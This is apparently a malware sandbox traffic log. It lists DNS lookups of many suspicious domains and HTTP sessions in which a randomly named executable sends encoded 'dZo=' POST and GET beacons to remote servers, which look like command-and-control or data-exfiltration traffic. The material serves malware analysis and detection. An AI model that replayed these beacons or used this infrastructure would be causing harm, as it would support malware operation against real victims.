Aug 18, 2024 18:27:16.559000015 CEST	192.168.2.9	1.1.1.1	0xbbba	Standard query (0)	www.winkthree.com	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:24.647752047 CEST	192.168.2.9	1.1.1.1	0xb62	Standard query (0)	www.mqmsqkw.lol	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:59.147308111 CEST	192.168.2.9	1.1.1.1	0x69ae	Standard query (0)	www.lfghtko.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 18, 2024 18:24:31.109342098 CEST	1.1.1.1	192.168.2.9	0x664	Name error (3)	56.126.166.20.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Aug 18, 2024 18:24:40.017956018 CEST	1.1.1.1	192.168.2.9	0x4d5f	No error (0)	www.stemfiniti.com	stemfiniti.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:24:40.017956018 CEST	1.1.1.1	192.168.2.9	0x4d5f	No error (0)	stemfiniti.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:24:40.017956018 CEST	1.1.1.1	192.168.2.9	0x4d5f	No error (0)	stemfiniti.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:24:57.105564117 CEST	1.1.1.1	192.168.2.9	0x2053	No error (0)	www.zhuan-tou.com		38.12.1.29	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:10.826087952 CEST	1.1.1.1	192.168.2.9	0x1fc	No error (0)	www.lecoinsa.net		217.116.0.191	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:24.229363918 CEST	1.1.1.1	192.168.2.9	0xd8e4	No error (0)	www.8xbe578.app	8xbe578.app		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:25:24.229363918 CEST	1.1.1.1	192.168.2.9	0xd8e4	No error (0)	8xbe578.app		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:24.229363918 CEST	1.1.1.1	192.168.2.9	0xd8e4	No error (0)	8xbe578.app		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:38.343326092 CEST	1.1.1.1	192.168.2.9	0xaadd	No error (0)	www.synergon.space	synergon.space		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:25:38.343326092 CEST	1.1.1.1	192.168.2.9	0xaadd	No error (0)	synergon.space		109.95.158.127	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:51.663258076 CEST	1.1.1.1	192.168.2.9	0xf2ff	No error (0)	www.alanbeanart.com	alanbeanart.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:25:51.663258076 CEST	1.1.1.1	192.168.2.9	0xf2ff	No error (0)	alanbeanart.com		3.33.130.190	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:25:51.663258076 CEST	1.1.1.1	192.168.2.9	0xf2ff	No error (0)	alanbeanart.com		15.197.148.33	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:08.495548010 CEST	1.1.1.1	192.168.2.9	0xa559	No error (0)	www.kacotae.com		64.226.69.42	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:21.985690117 CEST	1.1.1.1	192.168.2.9	0xf778	No error (0)	www.slushcafe.top		203.161.55.102	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	www.a9jcpf.top	kmdne.ajunsdfancsda.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.145	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.141	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.189	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.143	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:35.615653038 CEST	1.1.1.1	192.168.2.9	0xef6f	No error (0)	kmdne.ajunsdfancsda.com		216.83.33.140	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:26:49.976648092 CEST	1.1.1.1	192.168.2.9	0x112	No error (0)	www.tqfabxah.com		35.241.42.217	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:03.350264072 CEST	1.1.1.1	192.168.2.9	0xf90e	No error (0)	www.rtrpodcast.online	rtrpodcast.online		CNAME (Canonical name)	IN (0x0001)	false
Aug 18, 2024 18:27:03.350264072 CEST	1.1.1.1	192.168.2.9	0xf90e	No error (0)	rtrpodcast.online		76.223.67.189	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:03.350264072 CEST	1.1.1.1	192.168.2.9	0xf90e	No error (0)	rtrpodcast.online		13.248.213.45	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:16.590339899 CEST	1.1.1.1	192.168.2.9	0xbbba	Name error (3)	www.winkthree.com	none	none	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:25.124953032 CEST	1.1.1.1	192.168.2.9	0xb62	No error (0)	www.mqmsqkw.lol		116.213.43.190	A (IP address)	IN (0x0001)	false
Aug 18, 2024 18:27:59.668601036 CEST	1.1.1.1	192.168.2.9	0x69ae	No error (0)	www.lfghtko.lol		116.213.43.190	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.stemfiniti.com

www.zhuan-tou.com

www.lecoinsa.net

www.8xbe578.app

www.synergon.space

www.alanbeanart.com

www.kacotae.com

www.slushcafe.top

www.a9jcpf.top

www.tqfabxah.com

www.rtrpodcast.online

www.mqmsqkw.lol

www.lfghtko.lol

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	54110	3.33.130.190	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:24:40.033992052 CEST	440	OUT	GET /toda/?dZo=obOL9JCgNxwS4++f28d79f/ijUfggy2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPePyq+6ekfY+odIcNiDDxjsozDdHvvMQ==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.stemfiniti.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:24:41.453566074 CEST	394	IN	HTTP/1.1 200 OK Server: openresty Date: Sun, 18 Aug 2024 16:24:41 GMT Content-Type: text/html Content-Length: 254 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 64 5a 6f 3d 6f 62 4f 4c 39 4a 43 67 4e 78 77 53 34 2b 2b 66 32 38 64 37 39 66 2f 69 6a 55 66 67 67 79 32 67 30 73 48 56 5a 6b 79 62 69 68 51 30 46 6f 56 33 35 43 30 4f 46 31 44 52 71 66 4a 68 38 69 69 73 77 54 77 4a 51 55 56 38 37 6d 2b 59 4e 2f 71 6b 4c 62 50 65 50 79 71 2b 36 65 6b 66 59 2b 6f 64 49 63 4e 69 44 44 78 6a 73 6f 7a 44 64 48 76 76 4d 51 3d 3d 26 67 74 61 3d 72 7a 71 58 66 34 41 30 32 46 45 6c 5f 38 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?dZo=obOL9JCgNxwS4++f28d79f/ijUfggy2g0sHVZkybihQ0FoV35C0OF1DRqfJh8iiswTwJQUV87m+YN/qkLbPePyq+6ekfY+odIcNiDDxjsozDdHvvMQ==&gta=rzqXf4A02FEl_8"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	54111	38.12.1.29	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:24:57.118403912 CEST	698	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 54 72 59 7a 4e 41 32 41 32 31 33 7a 6b 79 64 76 4b 35 73 43 77 5a 4a 65 52 53 6c 66 48 38 59 4b 59 61 48 45 4a 33 39 55 47 4c 31 6a 59 68 30 4e 32 4e 48 42 38 52 5a 77 74 68 2f 4f 73 4b 44 7a 50 4c 71 78 30 72 45 5a 68 38 4e 55 75 39 46 68 6c 66 4b 56 47 36 61 4d 35 79 38 43 67 6c 47 31 39 2f 7a 47 69 4b 6d 41 6c 52 38 57 56 67 2f 2f 42 6f 39 47 37 58 4b 56 6e 4d 59 4b 56 56 56 62 5a 2b 34 34 31 58 72 48 7a 4a 69 57 37 49 69 70 4c 7a 72 62 4d 6d 72 54 6f 54 51 30 4a 4e 6b 70 5a 6b 54 52 42 68 6c 44 44 59 71 36 75 5a 6a Data Ascii: dZo=+jf92ON16YkIfTrYzNA2A213zkydvK5sCwZJeRSlfH8YKYaHEJ39UGL1jYh0N2NHB8RZwth/OsKDzPLqx0rEZh8NUu9FhlfKVG6aM5y8CglG19/zGiKmAlR8WVg//Bo9G7XKVnMYKVVVbZ+441XrHzJiW7IipLzrbMmrToTQ0JNkpZkTRBhlDDYq6uZj
Aug 18, 2024 18:24:57.999445915 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 18 Aug 2024 16:24:57 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	54112	38.12.1.29	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:24:59.653018951 CEST	722	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 216 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 79 62 59 67 61 55 32 42 57 31 30 38 45 79 64 30 36 35 6f 43 77 64 4a 65 56 43 31 66 31 6f 59 4c 39 6d 48 46 49 33 39 54 47 4c 31 33 49 68 4c 44 57 4e 4d 42 38 4e 2f 77 73 64 2f 4f 73 4f 44 7a 4e 54 71 77 43 6a 48 62 78 38 4c 5a 4f 39 48 2f 56 66 4b 56 47 36 61 4d 35 32 47 43 67 39 47 30 4f 6e 7a 55 58 32 6c 4e 46 52 37 41 46 67 2f 75 78 6f 35 47 37 58 53 56 6d 51 79 4b 58 64 56 62 5a 75 34 34 67 72 6f 63 6a 4a 6b 53 37 4a 56 6c 4b 79 67 58 2b 4b 30 58 70 72 43 69 5a 56 66 6a 59 45 4e 41 7a 6f 2b 57 55 59 4e 39 4a 51 4c 66 67 38 61 43 6d 38 68 38 61 46 4d 61 55 63 79 32 66 53 37 67 41 3d 3d Data Ascii: dZo=+jf92ON16YkIfybYgaU2BW108Eyd065oCwdJeVC1f1oYL9mHFI39TGL13IhLDWNMB8N/wsd/OsODzNTqwCjHbx8LZO9H/VfKVG6aM52GCg9G0OnzUX2lNFR7AFg/uxo5G7XSVmQyKXdVbZu44grocjJkS7JVlKygX+K0XprCiZVfjYENAzo+WUYN9JQLfg8aCm8h8aFMaUcy2fS7gA==
Aug 18, 2024 18:25:00.535697937 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 18 Aug 2024 16:25:00 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	54113	38.12.1.29	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:02.183993101 CEST	1735	OUT	POST /pjmu/ HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.zhuan-tou.com Referer: http://www.zhuan-tou.com/pjmu/ Content-Length: 1228 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 2b 6a 66 39 32 4f 4e 31 36 59 6b 49 66 79 62 59 67 61 55 32 42 57 31 30 38 45 79 64 30 36 35 6f 43 77 64 4a 65 56 43 31 66 31 51 59 4c 50 65 48 45 72 50 39 53 47 4c 31 30 49 68 4f 44 57 4e 72 42 38 56 37 77 73 52 76 4f 71 53 44 7a 6f 50 71 67 67 4c 48 53 78 38 4c 51 75 39 61 68 6c 66 36 56 47 72 64 4d 34 47 47 43 67 39 47 30 50 58 7a 58 43 4b 6c 50 46 52 38 57 56 67 4e 2f 42 6f 64 47 37 50 43 56 6d 55 49 4b 6d 39 56 62 35 65 34 39 57 2f 6f 51 6a 4a 6d 56 37 4a 4e 6c 50 71 76 58 2b 57 57 58 70 66 6b 69 61 31 66 69 39 78 74 63 33 59 39 49 6c 45 4b 79 71 77 35 53 6d 73 4b 45 57 41 34 38 4b 74 78 4e 58 64 66 38 38 50 30 2f 52 41 61 7a 43 75 5a 46 56 76 33 37 34 42 66 47 62 2f 71 4b 4f 43 52 30 57 4a 6b 4e 79 54 43 6e 68 53 67 75 68 4c 6d 54 59 74 46 6f 70 55 72 61 77 67 55 4e 31 68 71 6f 45 57 30 35 45 6d 5a 30 7a 77 2f 37 37 36 64 32 5a 36 41 42 65 69 38 41 69 4a 37 4b 6b 41 4e 35 6d 77 31 33 76 6d 4c 2f 6c 78 4d 79 38 32 33 45 57 31 79 42 36 64 31 59 6b 7a 46 70 64 77 6f 31 63 33 45 58 45 [TRUNCATED] Data Ascii: dZo=+jf92ON16YkIfybYgaU2BW108Eyd065oCwdJeVC1f1QYLPeHErP9SGL10IhODWNrB8V7wsRvOqSDzoPqggLHSx8LQu9ahlf6VGrdM4GGCg9G0PXzXCKlPFR8WVgN/BodG7PCVmUIKm9Vb5e49W/oQjJmV7JNlPqvX+WWXpfkia1fi9xtc3Y9IlEKyqw5SmsKEWA48KtxNXdf88P0/RAazCuZFVv374BfGb/qKOCR0WJkNyTCnhSguhLmTYtFopUrawgUN1hqoEW05EmZ0zw/776d2Z6ABei8AiJ7KkAN5mw13vmL/lxMy823EW1yB6d1YkzFpdwo1c3EXE/Os4qhPXbOcNvS/d1z//rrNvR0qjdNZp2pIgT89dZwVQ775BaMZe9tm3ZTKiLZ+qLF9pPOCd2E1vlgGIn+QQR6Lh20+U2z++ymv+EMI13PPH1SKK+9gIe2dM5QSs56/Dqy+d23MVXDFmVACbyFMapQjzaWRLUfSlmRbs5W0KZEpo+u6B96MoIdhHMdJLMLRXmT1vqkmLPuXlmn0OrloqNlwBw3M+TmzGttEL4i+YFF4Fw4DV8mSUxU+DD/eR77r29apBQN0E8Jx0Q3wdlMdnFmNKHVEpfQinYusB99BVsZGN5aopdP6OvzrXpOy5oI8tQyd7AfA19u4MiDf5NZIYYiXaKHIaruh1LmdHrR8n4G1g8ajw9HFGpKCEPueQhZowPf7GEC6OFaEfBueRFgNv8RiRpIGdMFyLJQm/MAcwze38HtW3qNbSHsPJElm/wjzLwLcj1CGS0meclzhD0TuLTwkZ1bs376wj83Wy1P0VJEv7psuLwUvP6aSMTbjVC4U9Ivwc4+nd3beQbZxLTiNKGHg+zXzJeHEP4wsS+vQPFJJeBEYNlKW7LdovwAIG69ujyRslBq/RcBdhbVgsPDfi7tPe36dq28xTsBcRv75FyprbL/samykPaoOMO0x9s8VhKUuBSGbnFQOhTlZgFcduOAJRodOnBTELQS [TRUNCATED]
Aug 18, 2024 18:25:03.084317923 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 18 Aug 2024 16:25:02 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	54114	38.12.1.29	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:04.718010902 CEST	439	OUT	GET /pjmu/?dZo=zh3d17Jww7lUdSTktMhNBhMmvkGT0/ltGm9RdVCgVGhfN4W3cKL6T1z80tBiQSN9EuR6w+tbLdSr4eDL0g7GOxg8UddFklL4THbJOpCVHjpswub4FA==&gta=rzqXf4A02FEl_8 HTTP/1.1 Host: www.zhuan-tou.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31
Aug 18, 2024 18:25:05.596633911 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 18 Aug 2024 16:25:05 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	54115	217.116.0.191	80	1808	C:\Program Files (x86)\hpRohCboeqYAJlSzSonFejEUWVlBGgOvjXByvWqOvxCEjqOwMLeTrrYTBhTfLKI\XraVxjqYYo.exe

Timestamp	Bytes transferred	Direction	Data
Aug 18, 2024 18:25:10.836031914 CEST	695	OUT	POST /7ffx/ HTTP/1.1 Host: www.lecoinsa.net Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Origin: http://www.lecoinsa.net Referer: http://www.lecoinsa.net/7ffx/ Content-Length: 192 Content-Type: application/x-www-form-urlencoded Connection: close Cache-Control: no-cache User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/42.0 Safari/537.31 Data Raw: 64 5a 6f 3d 57 50 34 55 38 35 51 38 49 43 6e 76 45 65 32 35 32 6d 53 45 4a 61 6c 6b 2b 57 78 48 43 53 54 68 63 4c 39 59 2f 68 6b 4a 63 41 53 52 6a 2f 2f 75 7a 72 7a 39 6f 34 51 6a 50 49 56 77 51 36 69 38 50 46 49 6d 62 76 6a 41 65 7a 4d 72 30 6d 66 55 58 57 52 71 43 69 2b 36 4e 68 37 4c 35 57 38 62 42 43 63 6f 78 34 7a 6f 52 42 35 62 43 6c 44 6e 31 36 46 61 36 37 64 2b 48 47 46 35 2b 6b 48 58 53 44 74 2f 57 6d 4b 78 54 35 6e 78 4f 4b 37 75 33 69 4c 5a 49 35 47 78 4f 45 69 51 46 41 33 38 37 47 66 6d 32 73 37 58 73 2f 38 30 38 2b 30 4d 39 57 69 4c 66 38 4e 54 54 39 45 32 Data Ascii: dZo=WP4U85Q8ICnvEe252mSEJalk+WxHCSThcL9Y/hkJcASRj//uzrz9o4QjPIVwQ6i8PFImbvjAezMr0mfUXWRqCi+6Nh7L5W8bBCcox4zoRB5bClDn16Fa67d+HGF5+kHXSDt/WmKxT5nxOK7u3iLZI5GxOEiQFA387Gfm2s7Xs/808+0M9WiLf8NTT9E2
